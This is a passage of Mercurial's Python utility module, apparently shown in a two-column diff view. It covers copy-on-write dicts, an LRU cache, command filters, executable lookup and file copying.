642 >>> a = cowdict()
646 >>> a = cowdict()
643 >>> a is a.preparewrite()
647 >>> a is a.preparewrite()
644 True
648 True
645 >>> b = a.copy()
649 >>> b = a.copy()
646 >>> b is a
650 >>> b is a
647 True
651 True
648 >>> c = b.copy()
652 >>> c = b.copy()
649 >>> c is a
653 >>> c is a
650 True
654 True
651 >>> a = a.preparewrite()
655 >>> a = a.preparewrite()
652 >>> b is a
656 >>> b is a
653 False
657 False
654 >>> a is a.preparewrite()
658 >>> a is a.preparewrite()
655 True
659 True
656 >>> c = c.preparewrite()
660 >>> c = c.preparewrite()
657 >>> b is c
661 >>> b is c
658 False
662 False
659 >>> b is b.preparewrite()
663 >>> b is b.preparewrite()
660 True
664 True
661 """
665 """
662
666
663 class cowsortdict(cow, sortdict):
667 class cowsortdict(cow, sortdict):
664 """copy-on-write sortdict
668 """copy-on-write sortdict
665
669
666 Be sure to call d = d.preparewrite() before writing to d.
670 Be sure to call d = d.preparewrite() before writing to d.
667 """
671 """
668
672
669 class transactional(object):
673 class transactional(object):
670 """Base class for making a transactional type into a context manager."""
674 """Base class for making a transactional type into a context manager."""
671 __metaclass__ = abc.ABCMeta
675 __metaclass__ = abc.ABCMeta
672
676
673 @abc.abstractmethod
677 @abc.abstractmethod
674 def close(self):
678 def close(self):
675 """Successfully closes the transaction."""
679 """Successfully closes the transaction."""
676
680
677 @abc.abstractmethod
681 @abc.abstractmethod
678 def release(self):
682 def release(self):
679 """Marks the end of the transaction.
683 """Marks the end of the transaction.
680
684
681 If the transaction has not been closed, it will be aborted.
685 If the transaction has not been closed, it will be aborted.
682 """
686 """
683
687
684 def __enter__(self):
688 def __enter__(self):
685 return self
689 return self
686
690
687 def __exit__(self, exc_type, exc_val, exc_tb):
691 def __exit__(self, exc_type, exc_val, exc_tb):
688 try:
692 try:
689 if exc_type is None:
693 if exc_type is None:
690 self.close()
694 self.close()
691 finally:
695 finally:
692 self.release()
696 self.release()
693
697
694 @contextlib.contextmanager
698 @contextlib.contextmanager
695 def acceptintervention(tr=None):
699 def acceptintervention(tr=None):
696 """A context manager that closes the transaction on InterventionRequired
700 """A context manager that closes the transaction on InterventionRequired
697
701
698 If no transaction was provided, this simply runs the body and returns
702 If no transaction was provided, this simply runs the body and returns
699 """
703 """
700 if not tr:
704 if not tr:
701 yield
705 yield
702 return
706 return
703 try:
707 try:
704 yield
708 yield
705 tr.close()
709 tr.close()
706 except error.InterventionRequired:
710 except error.InterventionRequired:
707 tr.close()
711 tr.close()
708 raise
712 raise
709 finally:
713 finally:
710 tr.release()
714 tr.release()
711
715
712 @contextlib.contextmanager
716 @contextlib.contextmanager
713 def nullcontextmanager():
717 def nullcontextmanager():
714 yield
718 yield
715
719
716 class _lrucachenode(object):
720 class _lrucachenode(object):
717 """A node in a doubly linked list.
721 """A node in a doubly linked list.
718
722
719 Holds a reference to nodes on either side as well as a key-value
723 Holds a reference to nodes on either side as well as a key-value
720 pair for the dictionary entry.
724 pair for the dictionary entry.
721 """
725 """
722 __slots__ = (u'next', u'prev', u'key', u'value')
726 __slots__ = (u'next', u'prev', u'key', u'value')
723
727
724 def __init__(self):
728 def __init__(self):
725 self.next = None
729 self.next = None
726 self.prev = None
730 self.prev = None
727
731
728 self.key = _notset
732 self.key = _notset
729 self.value = None
733 self.value = None
730
734
731 def markempty(self):
735 def markempty(self):
732 """Mark the node as emptied."""
736 """Mark the node as emptied."""
733 self.key = _notset
737 self.key = _notset
734
738
735 class lrucachedict(object):
739 class lrucachedict(object):
736 """Dict that caches most recent accesses and sets.
740 """Dict that caches most recent accesses and sets.
737
741
738 The dict consists of an actual backing dict - indexed by original
742 The dict consists of an actual backing dict - indexed by original
739 key - and a doubly linked circular list defining the order of entries in
743 key - and a doubly linked circular list defining the order of entries in
740 the cache.
744 the cache.
741
745
742 The head node is the newest entry in the cache. If the cache is full,
746 The head node is the newest entry in the cache. If the cache is full,
743 we recycle head.prev and make it the new head. Cache accesses result in
747 we recycle head.prev and make it the new head. Cache accesses result in
744 the node being moved to before the existing head and being marked as the
748 the node being moved to before the existing head and being marked as the
745 new head node.
749 new head node.
746 """
750 """
747 def __init__(self, max):
751 def __init__(self, max):
748 self._cache = {}
752 self._cache = {}
749
753
750 self._head = head = _lrucachenode()
754 self._head = head = _lrucachenode()
751 head.prev = head
755 head.prev = head
752 head.next = head
756 head.next = head
753 self._size = 1
757 self._size = 1
754 self._capacity = max
758 self._capacity = max
755
759
756 def __len__(self):
760 def __len__(self):
757 return len(self._cache)
761 return len(self._cache)
758
762
759 def __contains__(self, k):
763 def __contains__(self, k):
760 return k in self._cache
764 return k in self._cache
761
765
762 def __iter__(self):
766 def __iter__(self):
763 # We don't have to iterate in cache order, but why not.
767 # We don't have to iterate in cache order, but why not.
764 n = self._head
768 n = self._head
765 for i in range(len(self._cache)):
769 for i in range(len(self._cache)):
766 yield n.key
770 yield n.key
767 n = n.next
771 n = n.next
768
772
769 def __getitem__(self, k):
773 def __getitem__(self, k):
770 node = self._cache[k]
774 node = self._cache[k]
771 self._movetohead(node)
775 self._movetohead(node)
772 return node.value
776 return node.value
773
777
774 def __setitem__(self, k, v):
778 def __setitem__(self, k, v):
775 node = self._cache.get(k)
779 node = self._cache.get(k)
776 # Replace existing value and mark as newest.
780 # Replace existing value and mark as newest.
777 if node is not None:
781 if node is not None:
778 node.value = v
782 node.value = v
779 self._movetohead(node)
783 self._movetohead(node)
780 return
784 return
781
785
782 if self._size < self._capacity:
786 if self._size < self._capacity:
783 node = self._addcapacity()
787 node = self._addcapacity()
784 else:
788 else:
785 # Grab the last/oldest item.
789 # Grab the last/oldest item.
786 node = self._head.prev
790 node = self._head.prev
787
791
788 # At capacity. Kill the old entry.
792 # At capacity. Kill the old entry.
789 if node.key is not _notset:
793 if node.key is not _notset:
790 del self._cache[node.key]
794 del self._cache[node.key]
791
795
792 node.key = k
796 node.key = k
793 node.value = v
797 node.value = v
794 self._cache[k] = node
798 self._cache[k] = node
795 # And mark it as newest entry. No need to adjust order since it
799 # And mark it as newest entry. No need to adjust order since it
796 # is already self._head.prev.
800 # is already self._head.prev.
797 self._head = node
801 self._head = node
798
802
799 def __delitem__(self, k):
803 def __delitem__(self, k):
800 node = self._cache.pop(k)
804 node = self._cache.pop(k)
801 node.markempty()
805 node.markempty()
802
806
803 # Temporarily mark as newest item before re-adjusting head to make
807 # Temporarily mark as newest item before re-adjusting head to make
804 # this node the oldest item.
808 # this node the oldest item.
805 self._movetohead(node)
809 self._movetohead(node)
806 self._head = node.next
810 self._head = node.next
807
811
808 # Additional dict methods.
812 # Additional dict methods.
809
813
810 def get(self, k, default=None):
814 def get(self, k, default=None):
811 try:
815 try:
812 return self._cache[k].value
816 return self._cache[k].value
813 except KeyError:
817 except KeyError:
814 return default
818 return default
815
819
816 def clear(self):
820 def clear(self):
817 n = self._head
821 n = self._head
818 while n.key is not _notset:
822 while n.key is not _notset:
819 n.markempty()
823 n.markempty()
820 n = n.next
824 n = n.next
821
825
822 self._cache.clear()
826 self._cache.clear()
823
827
824 def copy(self):
828 def copy(self):
825 result = lrucachedict(self._capacity)
829 result = lrucachedict(self._capacity)
826 n = self._head.prev
830 n = self._head.prev
827 # Iterate in oldest-to-newest order, so the copy has the right ordering
831 # Iterate in oldest-to-newest order, so the copy has the right ordering
828 for i in range(len(self._cache)):
832 for i in range(len(self._cache)):
829 result[n.key] = n.value
833 result[n.key] = n.value
830 n = n.prev
834 n = n.prev
831 return result
835 return result
832
836
833 def _movetohead(self, node):
837 def _movetohead(self, node):
834 """Mark a node as the newest, making it the new head.
838 """Mark a node as the newest, making it the new head.
835
839
836 When a node is accessed, it becomes the freshest entry in the LRU
840 When a node is accessed, it becomes the freshest entry in the LRU
837 list, which is denoted by self._head.
841 list, which is denoted by self._head.
838
842
839 Visually, let's make ``N`` the new head node (* denotes head):
843 Visually, let's make ``N`` the new head node (* denotes head):
840
844
841 previous/oldest <-> head <-> next/next newest
845 previous/oldest <-> head <-> next/next newest
842
846
843 ----<->--- A* ---<->-----
847 ----<->--- A* ---<->-----
844 | |
848 | |
845 E <-> D <-> N <-> C <-> B
849 E <-> D <-> N <-> C <-> B
846
850
847 To:
851 To:
848
852
849 ----<->--- N* ---<->-----
853 ----<->--- N* ---<->-----
850 | |
854 | |
851 E <-> D <-> C <-> B <-> A
855 E <-> D <-> C <-> B <-> A
852
856
853 This requires the following moves:
857 This requires the following moves:
854
858
855 C.next = D (node.prev.next = node.next)
859 C.next = D (node.prev.next = node.next)
856 D.prev = C (node.next.prev = node.prev)
860 D.prev = C (node.next.prev = node.prev)
857 E.next = N (head.prev.next = node)
861 E.next = N (head.prev.next = node)
858 N.prev = E (node.prev = head.prev)
862 N.prev = E (node.prev = head.prev)
859 N.next = A (node.next = head)
863 N.next = A (node.next = head)
860 A.prev = N (head.prev = node)
864 A.prev = N (head.prev = node)
861 """
865 """
862 head = self._head
866 head = self._head
863 # C.next = D
867 # C.next = D
864 node.prev.next = node.next
868 node.prev.next = node.next
865 # D.prev = C
869 # D.prev = C
866 node.next.prev = node.prev
870 node.next.prev = node.prev
867 # N.prev = E
871 # N.prev = E
868 node.prev = head.prev
872 node.prev = head.prev
869 # N.next = A
873 # N.next = A
870 # It is tempting to do just "head" here, however if node is
874 # It is tempting to do just "head" here, however if node is
871 # adjacent to head, this will do bad things.
875 # adjacent to head, this will do bad things.
872 node.next = head.prev.next
876 node.next = head.prev.next
873 # E.next = N
877 # E.next = N
874 node.next.prev = node
878 node.next.prev = node
875 # A.prev = N
879 # A.prev = N
876 node.prev.next = node
880 node.prev.next = node
877
881
878 self._head = node
882 self._head = node
879
883
880 def _addcapacity(self):
884 def _addcapacity(self):
881 """Add a node to the circular linked list.
885 """Add a node to the circular linked list.
882
886
883 The new node is inserted before the head node.
887 The new node is inserted before the head node.
884 """
888 """
885 head = self._head
889 head = self._head
886 node = _lrucachenode()
890 node = _lrucachenode()
887 head.prev.next = node
891 head.prev.next = node
888 node.prev = head.prev
892 node.prev = head.prev
889 node.next = head
893 node.next = head
890 head.prev = node
894 head.prev = node
891 self._size += 1
895 self._size += 1
892 return node
896 return node
893
897
894 def lrucachefunc(func):
898 def lrucachefunc(func):
895 '''cache most recent results of function calls'''
899 '''cache most recent results of function calls'''
896 cache = {}
900 cache = {}
897 order = collections.deque()
901 order = collections.deque()
898 if func.__code__.co_argcount == 1:
902 if func.__code__.co_argcount == 1:
899 def f(arg):
903 def f(arg):
900 if arg not in cache:
904 if arg not in cache:
901 if len(cache) > 20:
905 if len(cache) > 20:
902 del cache[order.popleft()]
906 del cache[order.popleft()]
903 cache[arg] = func(arg)
907 cache[arg] = func(arg)
904 else:
908 else:
905 order.remove(arg)
909 order.remove(arg)
906 order.append(arg)
910 order.append(arg)
907 return cache[arg]
911 return cache[arg]
908 else:
912 else:
909 def f(*args):
913 def f(*args):
910 if args not in cache:
914 if args not in cache:
911 if len(cache) > 20:
915 if len(cache) > 20:
912 del cache[order.popleft()]
916 del cache[order.popleft()]
913 cache[args] = func(*args)
917 cache[args] = func(*args)
914 else:
918 else:
915 order.remove(args)
919 order.remove(args)
916 order.append(args)
920 order.append(args)
917 return cache[args]
921 return cache[args]
918
922
919 return f
923 return f
920
924
921 class propertycache(object):
925 class propertycache(object):
922 def __init__(self, func):
926 def __init__(self, func):
923 self.func = func
927 self.func = func
924 self.name = func.__name__
928 self.name = func.__name__
925 def __get__(self, obj, type=None):
929 def __get__(self, obj, type=None):
926 result = self.func(obj)
930 result = self.func(obj)
927 self.cachevalue(obj, result)
931 self.cachevalue(obj, result)
928 return result
932 return result
929
933
930 def cachevalue(self, obj, value):
934 def cachevalue(self, obj, value):
931 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
935 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
932 obj.__dict__[self.name] = value
936 obj.__dict__[self.name] = value
933
937
934 def clearcachedproperty(obj, prop):
938 def clearcachedproperty(obj, prop):
935 '''clear a cached property value, if one has been set'''
939 '''clear a cached property value, if one has been set'''
936 if prop in obj.__dict__:
940 if prop in obj.__dict__:
937 del obj.__dict__[prop]
941 del obj.__dict__[prop]
938
942
939 def pipefilter(s, cmd):
943 def pipefilter(s, cmd):
940 '''filter string S through command CMD, returning its output'''
944 '''filter string S through command CMD, returning its output'''
941 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
945 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
942 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
946 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
943 pout, perr = p.communicate(s)
947 pout, perr = p.communicate(s)
944 return pout
948 return pout
945
949
946 def tempfilter(s, cmd):
950 def tempfilter(s, cmd):
947 '''filter string S through a pair of temporary files with CMD.
951 '''filter string S through a pair of temporary files with CMD.
948 CMD is used as a template to create the real command to be run,
952 CMD is used as a template to create the real command to be run,
949 with the strings INFILE and OUTFILE replaced by the real names of
953 with the strings INFILE and OUTFILE replaced by the real names of
950 the temporary files generated.'''
954 the temporary files generated.'''
951 inname, outname = None, None
955 inname, outname = None, None
952 try:
956 try:
953 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
957 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
954 fp = os.fdopen(infd, pycompat.sysstr('wb'))
958 fp = os.fdopen(infd, pycompat.sysstr('wb'))
955 fp.write(s)
959 fp.write(s)
956 fp.close()
960 fp.close()
957 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
961 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
958 os.close(outfd)
962 os.close(outfd)
959 cmd = cmd.replace('INFILE', inname)
963 cmd = cmd.replace('INFILE', inname)
960 cmd = cmd.replace('OUTFILE', outname)
964 cmd = cmd.replace('OUTFILE', outname)
961 code = os.system(cmd)
965 code = os.system(cmd)
962 if pycompat.sysplatform == 'OpenVMS' and code & 1:
966 if pycompat.sysplatform == 'OpenVMS' and code & 1:
963 code = 0
967 code = 0
964 if code:
968 if code:
965 raise Abort(_("command '%s' failed: %s") %
969 raise Abort(_("command '%s' failed: %s") %
966 (cmd, explainexit(code)))
970 (cmd, explainexit(code)))
967 return readfile(outname)
971 return readfile(outname)
968 finally:
972 finally:
969 try:
973 try:
970 if inname:
974 if inname:
971 os.unlink(inname)
975 os.unlink(inname)
972 except OSError:
976 except OSError:
973 pass
977 pass
974 try:
978 try:
975 if outname:
979 if outname:
976 os.unlink(outname)
980 os.unlink(outname)
977 except OSError:
981 except OSError:
978 pass
982 pass
979
983
980 filtertable = {
984 filtertable = {
981 'tempfile:': tempfilter,
985 'tempfile:': tempfilter,
982 'pipe:': pipefilter,
986 'pipe:': pipefilter,
983 }
987 }
984
988
985 def filter(s, cmd):
989 def filter(s, cmd):
986 "filter a string through a command that transforms its input to its output"
990 "filter a string through a command that transforms its input to its output"
987 for name, fn in filtertable.iteritems():
991 for name, fn in filtertable.iteritems():
988 if cmd.startswith(name):
992 if cmd.startswith(name):
989 return fn(s, cmd[len(name):].lstrip())
993 return fn(s, cmd[len(name):].lstrip())
990 return pipefilter(s, cmd)
994 return pipefilter(s, cmd)
991
995
992 def binary(s):
996 def binary(s):
993 """return true if a string is binary data"""
997 """return true if a string is binary data"""
994 return bool(s and '\0' in s)
998 return bool(s and '\0' in s)
995
999
996 def increasingchunks(source, min=1024, max=65536):
1000 def increasingchunks(source, min=1024, max=65536):
997 '''return no less than min bytes per chunk while data remains,
1001 '''return no less than min bytes per chunk while data remains,
998 doubling min after each chunk until it reaches max'''
1002 doubling min after each chunk until it reaches max'''
999 def log2(x):
1003 def log2(x):
1000 if not x:
1004 if not x:
1001 return 0
1005 return 0
1002 i = 0
1006 i = 0
1003 while x:
1007 while x:
1004 x >>= 1
1008 x >>= 1
1005 i += 1
1009 i += 1
1006 return i - 1
1010 return i - 1
1007
1011
1008 buf = []
1012 buf = []
1009 blen = 0
1013 blen = 0
1010 for chunk in source:
1014 for chunk in source:
1011 buf.append(chunk)
1015 buf.append(chunk)
1012 blen += len(chunk)
1016 blen += len(chunk)
1013 if blen >= min:
1017 if blen >= min:
1014 if min < max:
1018 if min < max:
1015 min = min << 1
1019 min = min << 1
1016 nmin = 1 << log2(blen)
1020 nmin = 1 << log2(blen)
1017 if nmin > min:
1021 if nmin > min:
1018 min = nmin
1022 min = nmin
1019 if min > max:
1023 if min > max:
1020 min = max
1024 min = max
1021 yield ''.join(buf)
1025 yield ''.join(buf)
1022 blen = 0
1026 blen = 0
1023 buf = []
1027 buf = []
1024 if buf:
1028 if buf:
1025 yield ''.join(buf)
1029 yield ''.join(buf)
1026
1030
1027 Abort = error.Abort
1031 Abort = error.Abort
1028
1032
1029 def always(fn):
1033 def always(fn):
1030 return True
1034 return True
1031
1035
1032 def never(fn):
1036 def never(fn):
1033 return False
1037 return False
1034
1038
1035 def nogc(func):
1039 def nogc(func):
1036 """disable garbage collector
1040 """disable garbage collector
1037
1041
1038 Python's garbage collector triggers a GC each time a certain number of
1042 Python's garbage collector triggers a GC each time a certain number of
1039 container objects (the number being defined by gc.get_threshold()) are
1043 container objects (the number being defined by gc.get_threshold()) are
1040 allocated even when marked not to be tracked by the collector. Tracking has
1044 allocated even when marked not to be tracked by the collector. Tracking has
1041 no effect on when GCs are triggered, only on what objects the GC looks
1045 no effect on when GCs are triggered, only on what objects the GC looks
1042 into. As a workaround, disable GC while building complex (huge)
1046 into. As a workaround, disable GC while building complex (huge)
1043 containers.
1047 containers.
1044
1048
1045 This garbage collector issue have been fixed in 2.7. But it still affect
1049 This garbage collector issue have been fixed in 2.7. But it still affect
1046 CPython's performance.
1050 CPython's performance.
1047 """
1051 """
1048 def wrapper(*args, **kwargs):
1052 def wrapper(*args, **kwargs):
1049 gcenabled = gc.isenabled()
1053 gcenabled = gc.isenabled()
1050 gc.disable()
1054 gc.disable()
1051 try:
1055 try:
1052 return func(*args, **kwargs)
1056 return func(*args, **kwargs)
1053 finally:
1057 finally:
1054 if gcenabled:
1058 if gcenabled:
1055 gc.enable()
1059 gc.enable()
1056 return wrapper
1060 return wrapper
1057
1061
1058 if pycompat.ispypy:
1062 if pycompat.ispypy:
1059 # PyPy runs slower with gc disabled
1063 # PyPy runs slower with gc disabled
1060 nogc = lambda x: x
1064 nogc = lambda x: x
1061
1065
1062 def pathto(root, n1, n2):
1066 def pathto(root, n1, n2):
1063 '''return the relative path from one place to another.
1067 '''return the relative path from one place to another.
1064 root should use os.sep to separate directories
1068 root should use os.sep to separate directories
1065 n1 should use os.sep to separate directories
1069 n1 should use os.sep to separate directories
1066 n2 should use "/" to separate directories
1070 n2 should use "/" to separate directories
1067 returns an os.sep-separated path.
1071 returns an os.sep-separated path.
1068
1072
1069 If n1 is a relative path, it's assumed it's
1073 If n1 is a relative path, it's assumed it's
1070 relative to root.
1074 relative to root.
1071 n2 should always be relative to root.
1075 n2 should always be relative to root.
1072 '''
1076 '''
1073 if not n1:
1077 if not n1:
1074 return localpath(n2)
1078 return localpath(n2)
1075 if os.path.isabs(n1):
1079 if os.path.isabs(n1):
1076 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1080 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1077 return os.path.join(root, localpath(n2))
1081 return os.path.join(root, localpath(n2))
1078 n2 = '/'.join((pconvert(root), n2))
1082 n2 = '/'.join((pconvert(root), n2))
1079 a, b = splitpath(n1), n2.split('/')
1083 a, b = splitpath(n1), n2.split('/')
1080 a.reverse()
1084 a.reverse()
1081 b.reverse()
1085 b.reverse()
1082 while a and b and a[-1] == b[-1]:
1086 while a and b and a[-1] == b[-1]:
1083 a.pop()
1087 a.pop()
1084 b.pop()
1088 b.pop()
1085 b.reverse()
1089 b.reverse()
1086 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1090 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1087
1091
1088 def mainfrozen():
1092 def mainfrozen():
1089 """return True if we are a frozen executable.
1093 """return True if we are a frozen executable.
1090
1094
1091 The code supports py2exe (most common, Windows only) and tools/freeze
1095 The code supports py2exe (most common, Windows only) and tools/freeze
1092 (portable, not much used).
1096 (portable, not much used).
1093 """
1097 """
1094 return (safehasattr(sys, "frozen") or # new py2exe
1098 return (safehasattr(sys, "frozen") or # new py2exe
1095 safehasattr(sys, "importers") or # old py2exe
1099 safehasattr(sys, "importers") or # old py2exe
1096 imp.is_frozen(u"__main__")) # tools/freeze
1100 imp.is_frozen(u"__main__")) # tools/freeze
1097
1101
1098 # the location of data files matching the source code
1102 # the location of data files matching the source code
1099 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1103 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1100 # executable version (py2exe) doesn't support __file__
1104 # executable version (py2exe) doesn't support __file__
1101 datapath = os.path.dirname(pycompat.sysexecutable)
1105 datapath = os.path.dirname(pycompat.sysexecutable)
1102 else:
1106 else:
1103 datapath = os.path.dirname(pycompat.fsencode(__file__))
1107 datapath = os.path.dirname(pycompat.fsencode(__file__))
1104
1108
1105 i18n.setdatapath(datapath)
1109 i18n.setdatapath(datapath)
1106
1110
1107 _hgexecutable = None
1111 _hgexecutable = None
1108
1112
1109 def hgexecutable():
1113 def hgexecutable():
1110 """return location of the 'hg' executable.
1114 """return location of the 'hg' executable.
1111
1115
1112 Defaults to $HG or 'hg' in the search path.
1116 Defaults to $HG or 'hg' in the search path.
1113 """
1117 """
1114 if _hgexecutable is None:
1118 if _hgexecutable is None:
1115 hg = encoding.environ.get('HG')
1119 hg = encoding.environ.get('HG')
1116 mainmod = sys.modules[pycompat.sysstr('__main__')]
1120 mainmod = sys.modules[pycompat.sysstr('__main__')]
1117 if hg:
1121 if hg:
1118 _sethgexecutable(hg)
1122 _sethgexecutable(hg)
1119 elif mainfrozen():
1123 elif mainfrozen():
1120 if getattr(sys, 'frozen', None) == 'macosx_app':
1124 if getattr(sys, 'frozen', None) == 'macosx_app':
1121 # Env variable set by py2app
1125 # Env variable set by py2app
1122 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1126 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1123 else:
1127 else:
1124 _sethgexecutable(pycompat.sysexecutable)
1128 _sethgexecutable(pycompat.sysexecutable)
1125 elif (os.path.basename(
1129 elif (os.path.basename(
1126 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1130 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1127 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1131 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1128 else:
1132 else:
1129 exe = findexe('hg') or os.path.basename(sys.argv[0])
1133 exe = findexe('hg') or os.path.basename(sys.argv[0])
1130 _sethgexecutable(exe)
1134 _sethgexecutable(exe)
1131 return _hgexecutable
1135 return _hgexecutable
1132
1136
1133 def _sethgexecutable(path):
1137 def _sethgexecutable(path):
1134 """set location of the 'hg' executable"""
1138 """set location of the 'hg' executable"""
1135 global _hgexecutable
1139 global _hgexecutable
1136 _hgexecutable = path
1140 _hgexecutable = path
1137
1141
1138 def _isstdout(f):
1142 def _isstdout(f):
1139 fileno = getattr(f, 'fileno', None)
1143 fileno = getattr(f, 'fileno', None)
1140 return fileno and fileno() == sys.__stdout__.fileno()
1144 return fileno and fileno() == sys.__stdout__.fileno()
1141
1145
1142 def shellenviron(environ=None):
1146 def shellenviron(environ=None):
1143 """return environ with optional override, useful for shelling out"""
1147 """return environ with optional override, useful for shelling out"""
1144 def py2shell(val):
1148 def py2shell(val):
1145 'convert python object into string that is useful to shell'
1149 'convert python object into string that is useful to shell'
1146 if val is None or val is False:
1150 if val is None or val is False:
1147 return '0'
1151 return '0'
1148 if val is True:
1152 if val is True:
1149 return '1'
1153 return '1'
1150 return str(val)
1154 return str(val)
1151 env = dict(encoding.environ)
1155 env = dict(encoding.environ)
1152 if environ:
1156 if environ:
1153 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1157 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1154 env['HG'] = hgexecutable()
1158 env['HG'] = hgexecutable()
1155 return env
1159 return env
1156
1160
1157 def system(cmd, environ=None, cwd=None, out=None):
1161 def system(cmd, environ=None, cwd=None, out=None):
1158 '''enhanced shell command execution.
1162 '''enhanced shell command execution.
1159 run with environment maybe modified, maybe in different dir.
1163 run with environment maybe modified, maybe in different dir.
1160
1164
1161 if out is specified, it is assumed to be a file-like object that has a
1165 if out is specified, it is assumed to be a file-like object that has a
1162 write() method. stdout and stderr will be redirected to out.'''
1166 write() method. stdout and stderr will be redirected to out.'''
1163 try:
1167 try:
1164 stdout.flush()
1168 stdout.flush()
1165 except Exception:
1169 except Exception:
1166 pass
1170 pass
1167 cmd = quotecommand(cmd)
1171 cmd = quotecommand(cmd)
1168 env = shellenviron(environ)
1172 env = shellenviron(environ)
1169 if out is None or _isstdout(out):
1173 if out is None or _isstdout(out):
1170 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1174 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1171 env=env, cwd=cwd)
1175 env=env, cwd=cwd)
1172 else:
1176 else:
1173 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1177 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1174 env=env, cwd=cwd, stdout=subprocess.PIPE,
1178 env=env, cwd=cwd, stdout=subprocess.PIPE,
1175 stderr=subprocess.STDOUT)
1179 stderr=subprocess.STDOUT)
1176 for line in iter(proc.stdout.readline, ''):
1180 for line in iter(proc.stdout.readline, ''):
1177 out.write(line)
1181 out.write(line)
1178 proc.wait()
1182 proc.wait()
1179 rc = proc.returncode
1183 rc = proc.returncode
1180 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1184 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1181 rc = 0
1185 rc = 0
1182 return rc
1186 return rc
1183
1187
1184 def checksignature(func):
1188 def checksignature(func):
1185 '''wrap a function with code to check for calling errors'''
1189 '''wrap a function with code to check for calling errors'''
1186 def check(*args, **kwargs):
1190 def check(*args, **kwargs):
1187 try:
1191 try:
1188 return func(*args, **kwargs)
1192 return func(*args, **kwargs)
1189 except TypeError:
1193 except TypeError:
1190 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1194 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1191 raise error.SignatureError
1195 raise error.SignatureError
1192 raise
1196 raise
1193
1197
1194 return check
1198 return check
1195
1199
1196 # a whilelist of known filesystems where hardlink works reliably
1200 # a whilelist of known filesystems where hardlink works reliably
1197 _hardlinkfswhitelist = {
1201 _hardlinkfswhitelist = {
1198 'btrfs',
1202 'btrfs',
1199 'ext2',
1203 'ext2',
1200 'ext3',
1204 'ext3',
1201 'ext4',
1205 'ext4',
1202 'hfs',
1206 'hfs',
1203 'jfs',
1207 'jfs',
1204 'reiserfs',
1208 'reiserfs',
1205 'tmpfs',
1209 'tmpfs',
1206 'ufs',
1210 'ufs',
1207 'xfs',
1211 'xfs',
1208 'zfs',
1212 'zfs',
1209 }
1213 }
1210
1214
1211 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1215 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1212 '''copy a file, preserving mode and optionally other stat info like
1216 '''copy a file, preserving mode and optionally other stat info like
1213 atime/mtime
1217 atime/mtime
1214
1218
1215 checkambig argument is used with filestat, and is useful only if
1219 checkambig argument is used with filestat, and is useful only if
1216 destination file is guarded by any lock (e.g. repo.lock or
1220 destination file is guarded by any lock (e.g. repo.lock or
1217 repo.wlock).
1221 repo.wlock).
1218
1222
1219 copystat and checkambig should be exclusive.
1223 copystat and checkambig should be exclusive.
1220 '''
1224 '''
1221 assert not (copystat and checkambig)
1225 assert not (copystat and checkambig)
1222 oldstat = None
1226 oldstat = None
1223 if os.path.lexists(dest):
1227 if os.path.lexists(dest):
1224 if checkambig:
1228 if checkambig:
1225 oldstat = checkambig and filestat.frompath(dest)
1229 oldstat = checkambig and filestat.frompath(dest)
1226 unlink(dest)
1230 unlink(dest)
1227 if hardlink:
1231 if hardlink:
1228 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1232 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1229 # unless we are confident that dest is on a whitelisted filesystem.
1233 # unless we are confident that dest is on a whitelisted filesystem.
1230 try:
1234 try:
1231 fstype = getfstype(os.path.dirname(dest))
1235 fstype = getfstype(os.path.dirname(dest))
1232 except OSError:
1236 except OSError:
1233 fstype = None
1237 fstype = None
1234 if fstype not in _hardlinkfswhitelist:
1238 if fstype not in _hardlinkfswhitelist:
1235 hardlink = False
1239 hardlink = False
1236 if hardlink:
1240 if hardlink:
1237 try:
1241 try:
1238 oslink(src, dest)
1242 oslink(src, dest)
1239 return
1243 return
1240 except (IOError, OSError):
1244 except (IOError, OSError):
1241 pass # fall back to normal copy
1245 pass # fall back to normal copy
1242 if os.path.islink(src):
1246 if os.path.islink(src):
1243 os.symlink(os.readlink(src), dest)
1247 os.symlink(os.readlink(src), dest)
1244 # copytime is ignored for symlinks, but in general copytime isn't needed
1248 # copytime is ignored for symlinks, but in general copytime isn't needed
1245 # for them anyway
1249 # for them anyway
1246 else:
1250 else:
1247 try:
1251 try:
1248 shutil.copyfile(src, dest)
1252 shutil.copyfile(src, dest)
1249 if copystat:
1253 if copystat:
1250 # copystat also copies mode
1254 # copystat also copies mode
1251 shutil.copystat(src, dest)
1255 shutil.copystat(src, dest)
1252 else:
1256 else:
1253 shutil.copymode(src, dest)
1257 shutil.copymode(src, dest)
1254 if oldstat and oldstat.stat:
1258 if oldstat and oldstat.stat:
